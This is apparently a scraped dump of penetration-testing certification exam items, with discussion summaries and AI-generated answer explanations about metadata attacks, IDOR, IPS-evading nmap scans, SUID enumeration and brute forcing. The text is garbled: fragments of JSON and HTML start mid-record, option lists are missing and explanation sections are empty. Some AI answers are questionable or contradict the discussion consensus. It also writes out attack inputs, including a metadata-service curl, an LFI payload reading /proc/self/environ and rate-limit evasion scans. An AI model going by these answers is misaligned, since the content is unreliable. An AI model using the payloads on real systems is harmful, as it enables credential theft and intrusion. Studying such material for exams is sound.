", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, B. Scout Suite.
\nReasoning:
\n Scout Suite is specifically designed for performing cloud security assessments. It is an open-source multi-cloud security auditing tool, which enables security professionals to assess the security posture of their cloud environments. It gathers configuration data from cloud resources and highlights potential security risks, misconfigurations, and compliance violations.\n
\nWhy other options are incorrect:\n
Supporting Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring the assessment of a client's cloud and on-premises environments, a penetration tester was able to gain ownership of a storage object within the cloud environment using the provided on-premises credentials.
Which of the following BEST describes why the tester was able to gain access?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion including comments from Q2 2023 to Q1 2025, the conclusion of the answer to this question is B. Key mismanagement between the environments, which the reason is that several users believe that a misconfiguration of keys, especially between on-premise and cloud environments, could lead to unauthorized access. Some users also pointed out that Federation misconfiguration, or other causes like IaaS failure or container public exposure are less likely to be the root cause in this scenario since the question indicates that the attacker gained access using on-premises credentials, which points to a permission or configuration issue related to the key management instead of a general exposure issue.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI suggests that the best answer is A. Federation misconfiguration of the container.
\nReasoning: The question explicitly states that the penetration tester gained ownership of a cloud storage object using on-premises credentials. Federation is a mechanism that allows users to use the same credentials across different security domains, such as on-premises and cloud environments. If federation is misconfigured, it could allow an attacker using compromised on-premises credentials to gain unauthorized access to cloud resources. A federation misconfiguration directly links the use of on-premises credentials to gaining access to cloud resources, making it the most relevant answer.
\nReasons for eliminating other options:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wrote the following script on a compromised system:![](\"topic_1_question_289/image_0.png\"/)
Which of the following would explain using this script instead of another tool?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. The configuration required the penetration tester to not utilize additional files, which the reason is the script is self-contained, eliminating the need to install or configure any extra software or files, which is ideal for environments with strict security measures. Other opinions such as C and D were not correct because they are not the main reason, and A is not relevant.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.
\n The question asks for the reason why the penetration tester would use the provided script instead of another tool. Option B, \"The configuration required the penetration tester to not utilize additional files,\" is the most plausible explanation.
\nReasoning: The script is a self-contained Bash script that leverages built-in Windows utilities like `net`, `find`, `type`, and `findstr`. This implies that the penetration tester needed a solution that didn't require uploading or installing additional tools onto the compromised system.
\nWhy other options are incorrect:\n
\n Therefore, option B is the most suitable answer because it directly addresses the scenario where restrictions are placed on adding new files or tools to the compromised system.\n
\nSuggested Answer: B
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester Inspected a log and found a series of thousands of requests coming from a single IP address to the same URL. A few of the requests are listed below:![](\"topic_1_question_290/image_0.png\"/)
Which of the following vulnerabilities was the attacker trying to exploit?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the consensus answer is D. Insecure Direct Object Reference (IDOR). The comments agree with this because the attacker is sequentially changing the serviceID parameter in the URL, which is a clear indication of an attempt to access objects they are not authorized to see, thus exploiting an IDOR vulnerability. Other opinions suggest B. URL manipulation, but this is considered a broader term and does not specify the type of vulnerability being exploited.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of D. Insecure direct object reference.
\nReasoning:
\n The provided log snippets show a series of requests where only the `serviceID` parameter in the URL is being modified sequentially. This pattern indicates that the attacker is attempting to access different resources (objects) by directly manipulating the object identifier (`serviceID`) in the URL. If the application does not properly validate whether the user is authorized to access the requested `serviceID`, it becomes vulnerable to Insecure Direct Object Reference (IDOR). The attacker is essentially trying to access resources they shouldn't have access to by directly referencing their IDs.
\nWhy other options are incorrect:
\n
\nSupporting Citations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a routine penetration test of a customer’s physical data center, a penetration tester observes that no changes have been made to the production firewalls in more than five years. Which of the following is the most appropriate remediation technique to reduce the risk of future security breaches?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Video surveillance", "html": "From the internet discussion, the consensus of the answer to this question is D. SSH key rotation, which the reason is it directly addresses the need to secure access to systems, including firewalls, especially when the firewall configurations are outdated or have not been changed in a long time, by preventing unauthorized access due to compromised or outdated keys.
Some comments suggest that the question may be a \"trick question\" because it mentions a physical data center and they believe the question is about physical security, supporting answer B. However, the majority of the comments point out that the primary concern is the outdated firewall configurations and that the correct answer is to address the firewall. Other answers, such as video surveillance, biometric controls, and password encryption, are seen as irrelevant because they do not address the issue of outdated firewall configurations.
\n The AI suggests the answer is D. SSH key rotation.
\nReasoning:
\n The primary issue highlighted in the question is the fact that the production firewalls have not been updated in over five years. This creates a significant security risk, as vulnerabilities may exist that could be exploited. While physical security measures (like video surveillance and biometric controls) are important, they do not directly address the vulnerability introduced by outdated firewall configurations.
\n SSH key rotation directly mitigates risks associated with compromised or outdated SSH keys, which are commonly used to access and manage firewalls. By regularly rotating these keys, the organization can reduce the window of opportunity for attackers to exploit stolen or weakened credentials.
\nReasons for not choosing the other answers:
\n
\n The consensus from the discussion also aligns with this answer, focusing on the direct impact of SSH key rotation on securing access to systems, particularly firewalls with outdated configurations.\n
\n\n This approach ensures a proactive measure against potential unauthorized access related to stale or compromised credentials and directly correlates to the problem presented in the prompt.\n
\n\n It's important to implement compensating controls to reduce the risk of future security breaches.\n
\n\n
\n
\nTherefore, SSH Key Rotation is the most appropriate remediation technique to reduce the risk of future security breaches.\n
\n\n
\n
\n Here is why SSH Key Rotation is important:\n
\n
\n
\nReferences to support the reasoning:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAfter compromising a system, a penetration tester wants more information in order to decide what actions to take next. The tester runs the following commands:
curl http://169.254.169.254/latest
Which of the following attacks is the penetration tester more likely trying to perform?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A. Metadata service attack, which the reason is the command \"curl http://169.254.169.254/latest\" is used to access the metadata service of cloud instances to retrieve sensitive information like IAM roles and credentials. The other options are not correct: B. Container escape techniques involves breaking out of a container; C. Credential harvesting while possible, is not the immediate action; D. Resource exhaustion involves depleting system resources, which the provided command does not attempt.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, A. Metadata service attack.
\nReasoning: The command `curl http://169.254.169.254/latest` is a standard technique used to access the metadata service available on many cloud platforms like AWS, Azure, and GCP. This service provides information about the instance, including potentially sensitive data like IAM roles, temporary credentials, and other configuration details. A successful request to this endpoint could allow an attacker to escalate privileges or move laterally within the cloud environment.\n
\nWhy other options are incorrect:\n
\n Therefore, accessing the metadata service is the most likely immediate goal of the penetration tester after compromising a system in a cloud environment.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a vulnerability scan a penetration tester enters the following Nmap command against all of the non-Windows clients:
nmap –sX –T4 –p 21-25, 67, 80, 139, 8080 192.168.11.191
The penetration tester reviews the packet capture in Wireshark and notices that the target responds with an RST packet flag set for all of the targeted ports. Which of the following does this information most likely indicate?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A. All of the ports in the target range are closed, which the reason is that when a Xmas scan (with FIN, PSH, and URG flags) receives an RST (reset) packet from the target for all targeted ports, it indicates that the ports are closed. RST packets are sent in response to unexpected TCP packets.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.
\nThe most likely indication is that all of the ports in the target range are closed.
\nHere's a detailed explanation:\n
\nHere's why the other options are not the most likely:\n
\n\nTherefore, the consistent RST responses across all scanned ports strongly suggest that these ports are closed.\n
\n\n
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tIn Java C/C++, variable initialization is critical because:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "the unknown value, when used later, will cause unexpected behavior.", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A, which the reason is that if a variable in C/C++ is not initialized, it contains whatever value happens to be at that memory location, potentially leading to unpredictable behavior. In Java, local variables must be initialized before use, while instance variables have default values, but failing to initialize variables can still cause logical errors. The other options are incorrect because B is incorrect as uninitialized variables contain garbage values, not null in C/C++, and Java initializes instance variables to default values, not local variables. C is incorrect as race conditions relate to concurrent access. D is incorrect because the type of variable is not the issue, it is the undefined value.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of A.
\nReasoning:\nThe primary reason variable initialization is critical in languages like C/C++ and Java is to prevent unexpected behavior resulting from using uninitialized variables. Uninitialized variables contain garbage values, which are unpredictable and can lead to various issues, including incorrect calculations, program crashes, and security vulnerabilities.\n\n
\nCititations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a client engagement, a penetration tester runs the following Nmap command and obtains the following output:![](\"topic_1_question_295/image_0.png\"/)
Which of the following should the penetration tester include in the report?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A. Old, insecure ciphers are in use, which the reason is the presence of the RC4 algorithm in the nmap results, which is known to be insecure and deprecated. This is supported by the reference provided, which highlights the deprecation of the RC4 cipher suite. Options B, C, and D are not correct because they either do not reflect the issue identified in the nmap results, which is the RC4 cipher, or they are less relevant than the primary concern of insecure ciphers.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the Nmap output and the discussion, the AI agrees with the suggested answer A. Old, insecure ciphers are in use.
\nReasoning:
\nThe Nmap output clearly shows the server supports the RC4 cipher suite. RC4 is a stream cipher that has been shown to have significant security vulnerabilities and is considered insecure. Its use should be reported as a security concern.
The key findings of the Nmap scan are the supported SSL/TLS versions and the cipher suites. The output shows that SSLv3 and TLSv1.0 are enabled, which are old and potentially vulnerable protocols. More importantly, the presence of RC4 ciphers is a major security concern.
\nReasons for not choosing other options:\n
\nThe primary and most important vulnerability indicated by the Nmap output is the usage of the RC4 cipher.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is reviewing the security of a web application running in an IaaS compute instance. Which of the following payloads should the tester send to get the running process credentials?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "file=http://192.168.1.78?+document.cookie", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. file=../../../proc/self/environ, which the reason is that this payload attempts to exploit directory traversal to access the /proc/self/environ file, which stores environment variables that might contain sensitive information. Another viewpoint is that D. file=http://169.254.169.254/latest/meta-data/ can retrieve metadata, but is specific to cloud environments and does not directly access local process credentials. The discussion highlights that accessing /proc/self/environ is a more direct method for obtaining credentials through local file inclusion vulnerabilities.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer, which is B. file=../../../proc/self/environ.
\n
\nReasoning:
\nThe question asks for a payload that can retrieve the running process's credentials in an IaaS compute instance. Option B, `file=../../../proc/self/environ`, is the most likely to achieve this because:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester gains access to a web server and notices a large number of devices in the system ARP table. Upon scanning the web server, the tester determines that many of the devices are user workstations. Which of the following should be included in the recommendations for remediation?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Start a training program on proper access to the web server.", "html": "From the internet discussion, the conclusion of the answer to this question is C, which the reason is the practice of placing the web server in a screened subnet, also known as a DMZ, which separates external-facing servers from the internal network, reducing the risk of internal devices being compromised through the web server and limiting the exposure of user workstations to potential threats from the internet.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is C. Place the web server in a screened subnet.
\nReasoning:
\nThe core issue is that a compromised web server provides a pivot point to access numerous internal workstations, as revealed by the ARP table. Placing the web server in a screened subnet (DMZ) isolates it from the internal network. This limits the damage a compromised web server can inflict, preventing direct access to internal user workstations. This is a standard security practice.
\nWhy other options are less suitable:\n
Suggested Answer: C
"}, {"folder_name": "topic_1_question_298", "topic": "1", "question_num": "298", "question": "In a wireless network assessment, penetration testers would like to discover and gather information about accessible wireless networks in the target area. Which of the following is the most suitable method of finding this information?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tIn a wireless network assessment, penetration testers would like to discover and gather information about accessible wireless networks in the target area. Which of the following is the most suitable method of finding this information?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Token scoping", "html": "Agree with Suggested Answer. From the internet discussion within the period (e.g. from Q2 2021 to Q1 2025), the conclusion of the answer to this question is C, which the reason is Wardriving is the process of driving around the target organization in an attempt to find any wireless networks that can be accessed or exploited. Wardriving is a method of hacking that can allow unauthorized users to gain access to a Wi-Fi network, and once inside the network, hackers can access the computers and devices that are connected to the network, install malware, and steal information such as private files or credit card information.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.
\nWardriving is the most suitable method for penetration testers to discover and gather information about accessible wireless networks in a target area.
\nWardriving involves systematically searching for Wi-Fi networks while moving around an area, typically in a vehicle. This allows testers to identify available networks, their SSIDs, security protocols, and signal strengths, providing valuable information for assessing wireless security posture.\n
\nTherefore, wardriving (Option C) is the most appropriate method for the stated objective.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAfter performing a web penetration test, a security consultant is ranking the findings by criticality. Which of the following standards or methodologies would be best for the consultant to use for reference?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "OWASP", "html": "Based on the internet discussion from Q1 2024 to Q2 2024, the consensus is to agree with the suggested answer: A (OWASP). The comments agree that OWASP is the best choice for ranking findings by criticality after a web penetration test because it is specifically focused on web application security and provides a comprehensive framework, including the OWASP Top 10, for categorizing and prioritizing vulnerabilities. Some comments suggest that MITRE ATT&CK is not suitable for this purpose. Also, one answer mentioned that CVE is a good option too, but the rest answers show that OWASP is a better choice for web pentest.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of A (OWASP).
\nReasoning:
\nOWASP (Open Web Application Security Project) is the most suitable choice because it is specifically focused on web application security. After a web penetration test, OWASP provides a well-defined framework, including the OWASP Top 10, for categorizing and prioritizing vulnerabilities based on their potential impact and likelihood of occurrence. This makes it ideal for ranking findings by criticality.
\nReasons for not choosing other options:\n
Suggested Answer: A
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is performing an assessment against a customer’s web application that is hosted in a major cloud provider’s environment. The penetration tester observes that the majority of the attacks attempted are being blocked by the organization’s WAF. Which of the following attacks would be most likely to succeed?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Reflected XSS", "html": "From the internet discussion, the conclusion of the answer to this question is D, which is a direct-to-origin attack bypasses the web application firewall (WAF) by targeting the server hosting the application directly. The reason for this is that this type of attack happens when the attacker discovers the original IP address of the server behind the WAF, allowing them to send malicious requests directly to the server, circumventing the WAF's filtering mechanisms. While another user suggests A, it is not the most popular choice.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, D (Direct-to-origin).
\n
\nReasoning:\nA direct-to-origin attack bypasses the WAF by targeting the application server directly. This is possible if the attacker can discover the origin server's IP address. Once the attacker has the IP address, they can send requests directly to the origin server, bypassing the WAF's protections. WAFs primarily protect web applications by filtering malicious HTTP traffic. If an attacker can bypass the WAF and send requests directly to the origin server, they can potentially exploit vulnerabilities in the application without the WAF's interference.\n
\n
\nWhy other options are less likely:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting an assessment on 192.168.1.112. Given the following output:![](\"topic_1_question_301/image_0.png\"/)
Which of the following is the penetration tester conducting?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B - Brute force attacks, which the reason is brute force attacks systematically try different username and password combinations to gain unauthorized access to a system.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer of B (Brute force).
\nReasoning: The provided output shows a series of attempts to authenticate to a service (likely SSH, given the \"Failed password\" messages) from 192.168.1.101 to 192.168.1.112 using different passwords for the same username (\"root\"). This is the hallmark of a brute-force attack, where an attacker tries multiple password combinations to gain unauthorized access.
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring passive reconnaissance of a target organization’s infrastructure, a penetration tester wants to identify key contacts and job responsibilities within the company. Which of the following techniques would be the most effective for this situation?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Social media scraping", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A, which the reason is social media scraping collects information from social media platforms where employees might share their roles, responsibilities, and professional affiliations. This method can reveal detailed insights into the organizational structure, key personnel, and specific job functions within the target organization.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is A: Social media scraping.
\n
\nReasoning: Social media scraping is the most effective technique for identifying key contacts and job responsibilities within a target organization during passive reconnaissance. This is because social media platforms often contain detailed information about employees, including their job titles, roles, responsibilities, and professional connections. Scraping these platforms can provide a wealth of information about the organizational structure and key personnel.
\n
\nWhy other options are less suitable:\n
\nSuggested Answer: A\n
\n\nReason: Social media scraping is the most effective technique. It directly gathers information about employees' roles, responsibilities, and professional affiliations from platforms where they often share this data publicly. Website archives (B) are less up-to-date, DNS lookups (C) focus on network infrastructure, and file metadata (D) is limited in scope.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wrote the following Bash script to brute force a local service password:![](\"topic_1_question_303/image_0.png\"/)
The script is not working as expected. Which of the following changes should the penetration tester make to get the script to work?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
![](\"topic_1_question_303/image_1.png\"/)
![](\"topic_1_question_303/image_2.png\"/)
![](\"topic_1_question_303/image_3.png\"/)
![](\"topic_1_question_303/image_4.png\"/)
Based on the internet discussion from Q2 2024 to Q1 2025, the consensus leans towards D as the correct answer. The reason is that the \"||\" operator in option D ensures the command after it is only executed if the command before it fails. In this case, if \"Wrong password\" is not found, indicating a correct password, the subsequent command to display the correct password will execute. Other opinions suggest A or C, which are not correct. The commenters point out that the correct answer should use the correct logical operators for the script to function correctly. Option A is incorrect because the logic is reversed, and Option C is incorrect because the usage of & or && is not suitable for the script.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of D.
\nReasoning: The original script's logic is flawed, preventing it from correctly identifying and displaying the correct password. The key to fixing the script is using the correct logical operator to check if the password attempt was successful. Option D uses the \"||\" (OR) operator in the `grep` command. This means that if `grep` *doesn't* find \"Wrong password\" (i.e., the password is correct and `grep` returns a non-zero exit code), the second command (`echo \"Correct password is: $password\"`) will execute. This is precisely the intended behavior.
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following documents would be the most helpful in determining who is at fault for a temporary outage that occurred during a penetration test?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Non-disclosure agreement", "html": "Agreed with Suggested Answer. From the internet discussion from Q1 2024 to Q2 2024, the conclusion of the answer to this question is C. Assessment scope and methodologies, which the reason is this document outlines the agreed-upon boundaries, objectives, and rules for the test, helping identify responsibilities and accountability.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is C. Assessment scope and methodologies.
\nThe most helpful document in determining fault for a temporary outage during a penetration test is the assessment scope and methodologies document. This document should clearly outline the boundaries of the test, the methodologies being used, and any agreed-upon limitations or precautions. In the event of an outage, this document will be critical in determining if the penetration testers acted within the agreed-upon scope and methodologies, or if they deviated from the plan. It establishes the expected behavior and responsibilities of each party involved.
\nHere's why the other options are less suitable:\n
\nThe assessment scope and methodologies directly addresses the operational parameters of the penetration test and is, therefore, the most relevant document for determining fault in the event of a service interruption.\n
"}, {"folder_name": "topic_1_question_305", "topic": "1", "question_num": "305", "question": "A penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Add the passwords to an appendix in the penetration test report.", "html": "From the internet discussion, the conclusion of the answer to this question is C - inform the client, which the reason is based on the comments, the client might be in danger and needs to be informed of prior compromise.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer C.
\nReasoning: The most appropriate action is to immediately inform the client about the discovered data breach and the potential exposure of their passwords. This allows the client to take proactive steps to mitigate any risks associated with the breach, such as resetting passwords, implementing multi-factor authentication, and monitoring for suspicious activity. A penetration tester has a responsibility to inform the client of any critical vulnerabilities discovered during the assessment, even if found during the reconnaissance phase.
\nWhy other options are incorrect:\n
\nThe best course of action is always to communicate potential risks to the client as quickly as possible so that they can take appropriate steps to secure their systems.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is trying to bypass an active response tool that blocks IP addresses that have more than 100 connections per minute. Which of the following commands would allow the tester to finish the test without being blocked?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nmap –sU –p 1–1024 10.0.0.15", "html": "From the internet discussion, the conclusion of the answer to this question is B, which the reason is that option B uses the -T2 timing option, slowing down the scan to avoid detection by limiting the connection attempts, and specifies only a few common ports. This approach is likely to stay below the threshold of 100 connections per minute, minimizing the chance of being blocked. Another opinion suggests that D would be the answer because -F will look at the top 100 connections, but this opinion received less agreement. Others believed that the -F option would be too fast, potentially leading to detection.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer B.
\nReasoning: Option B is the most suitable because it explicitly aims to reduce the scan's intensity and connection rate. The -T2 option slows down the scan, and specifying only a few ports (22, 25, 80, 3389) minimizes the number of connections made per minute. The -Pn option also instructs Nmap to skip host discovery, which can further reduce the number of packets sent.
\n
\nReasons for not choosing the other options:\n
-sU) across a range of ports (1-1024). UDP scans can be slow, but scanning a large number of ports still increases the likelihood of exceeding the connection limit.-T5, which is the fastest timing template, and scans all 65535 ports while also enabling aggressive options (-A). This would almost certainly exceed the connection limit and trigger the active response tool.-T3, which is a moderate timing template, and the -F option to scan only the most frequently scanned ports. While -F reduces the number of scanned ports, -T3 may still be too aggressive and trigger the block. Furthermore, -F is about 'fast scan' mode which might lead to detection as well.\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester runs the following command on a system:
find / –user root –perm -4000 –print 2>/dev/null
Which of the following is the tester trying to accomplish?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
\n Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C, which the reason is that the command searches for files owned by the root user with the SUID (Set User ID) bit set. The SUID bit allows the file to run with the owner's permissions (in this case, root), which is a common technique for identifying potential privilege escalation vectors.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer C.
\n The command `find / -user root -perm -4000 -print 2>/dev/null` is used to find files with the SUID bit set that are owned by the root user.
\nReasoning:\n
In summary, the command is designed to find files with the SUID bit set and owned by root, making option C the correct answer.
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following tools provides Python classes for interacting with network protocols?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Responder", "html": "From the internet discussion, the consensus answer to this question is B. Impacket, because Impacket is a collection of Python classes designed for interacting with network protocols, enabling the creation and manipulation of network packets. Other options like Responder, Empire, and PowerSploit are not correct as they serve different purposes: Responder is for poisoning attacks, Empire is a post-exploitation framework, and PowerSploit is for post-exploitation tasks using PowerShell scripts.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer is correct.\n
\nImpacket provides a suite of Python classes specifically designed for crafting and decoding network packets. It allows security professionals and developers to programmatically interact with various network protocols at a low level.\n
\n Here's a breakdown of why the other options are incorrect:\n
\n Therefore, Impacket is the tool that directly provides Python classes for interacting with network protocols.\n
\n\n Citations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA security engineer is trying to bypass a network IPS that isolates the source when the scan exceeds 100 packets per minute. The scope of the san is to identify web servers in the 10.0.0.0/16 subnet. Which of the following commands should the engineer use to achieve the objective in the least amount of time?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nmap –T3 –p 80 10.0.0.0/16 ––max-hostgroup 100", "html": "Based on the internet discussion from Q2 2021 to Q1 2025, the consensus answer to this question is B. The comments agree with this answer because the --max-rate in nmap is measured in packets per second, and B is the only option that can stay under 100 packets per minute. Other opinions suggested that C might be correct, but --max-rate of 60 will exceed the IPS limitation of 100 packets per minute.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI suggests that option C is the most suitable answer. Here's a detailed breakdown of the reasoning:
\nThe question requires a command that identifies web servers (port 80) within the 10.0.0.0/16 subnet while bypassing an IPS that isolates the source when the scan exceeds 100 packets per minute. The objective is to achieve this in the least amount of time.
\nHere's an analysis of each option:
\nTherefore, option C is the most appropriate choice because it uses an aggressive timing template (T4) while ensuring the scan rate stays below the IPS's threshold by using --max-rate 60. This allows to achieve the objective in the least amount of time without triggering the IPS.
\nOption B is not suitable because while it avoids the IPS block, it is too slow.
\nOption A and D are not suitable because they might cause the scan to be blocked by the IPS.
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is performing a social engineering penetration test and was able to create a remote session. Which of the following social engineering techniques was most likely successful?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "SMS phishing", "html": "Agree with Suggested Answer C. From the internet discussion, which spanned from Q1 2024 to Q3 2024, the consensus answer to this question is C. Executive impersonation. The reason is that this method directly involves manipulating employees into actions like installing remote access software or providing sensitive information under the guise of a high-ranking executive. This scenario has the highest likelihood of establishing a remote session. Other opinions included: A. SMS phishing, which can be used for such attacks and other opinions such as this is worded badly.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer C: Executive impersonation attack.
\nReasoning: Executive impersonation attacks often involve tricking employees into performing actions that compromise security, such as installing software or providing credentials. This makes it the most likely technique to result in a remote session during a social engineering penetration test.
\n
\nWhy other options are less likely:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester requested, without express authorization, that a CVE number be assigned for a new vulnerability found on an internal client application. Which of the following did the penetration tester most likely breach?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "ROE", "html": "Agree with Suggested Answer: C. From the internet discussion including from Q2 2021 to Q1 2025, the conclusion of the answer to this question is NDA (Non-Disclosure Agreement), which the reason is the penetration tester is disclosing information about the vulnerability to the public by requesting a CVE number, violating the confidentiality obligations outlined in the NDA. Other opinions include the ROE (Rules of Engagement), but the consensus points to the NDA as the primary agreement breached due to the unauthorized disclosure of confidential information.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer: C (NDA).
\nReasoning: The scenario describes a penetration tester requesting a CVE number for a vulnerability found in a client's application without explicit authorization. Requesting a CVE number effectively discloses the vulnerability to the public. This action would most likely breach a Non-Disclosure Agreement (NDA) because NDAs typically contain clauses that protect the confidentiality of sensitive information, such as vulnerabilities discovered during a penetration test. By disclosing the vulnerability without permission, the penetration tester violates the confidentiality obligations of the NDA.
\nWhy other options are less likely:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting an engagement for a company and has identified a vulnerable web application. During the reconnaissance phase the tester discovers that the internal web application contains end-of-life components. Which of the following is the most appropriate next step?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Report the vulnerability to the company’s IT department and provide the department with detailed information for patching the application", "html": "The consensus from the internet discussion, spanning from Q3 2024 to Q2 2025, suggests a disagreement on the correct answer. Most comments agree the selected answer should be A which is related to \"reconnaissance\" phase. However, some users believe that the answer D should be correct because you would exploit the vulnerability and include it in your report at the end of your assessment. But, one of the users stated it might not be acceptable for a company to have an end-of-life application running. Another user suggests that it's possible to patch an end-of-life application while it's impossible for an end-of-support one.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the question and discussion, the AI suggests a different answer than the suggested answer. The AI suggests answer A is the most appropriate next step.
\n
\nReasoning:
\nThe question specifies that the penetration tester is in the reconnaissance phase and has identified a vulnerable web application with end-of-life components. The most appropriate next step is to report the vulnerability to the company's IT department and provide them with detailed information for patching the application. This aligns with responsible disclosure and helps the company mitigate the risk. Reporting vulnerabilities is a key part of ethical hacking and penetration testing.
\n
\nWhy other options are less suitable:
\n
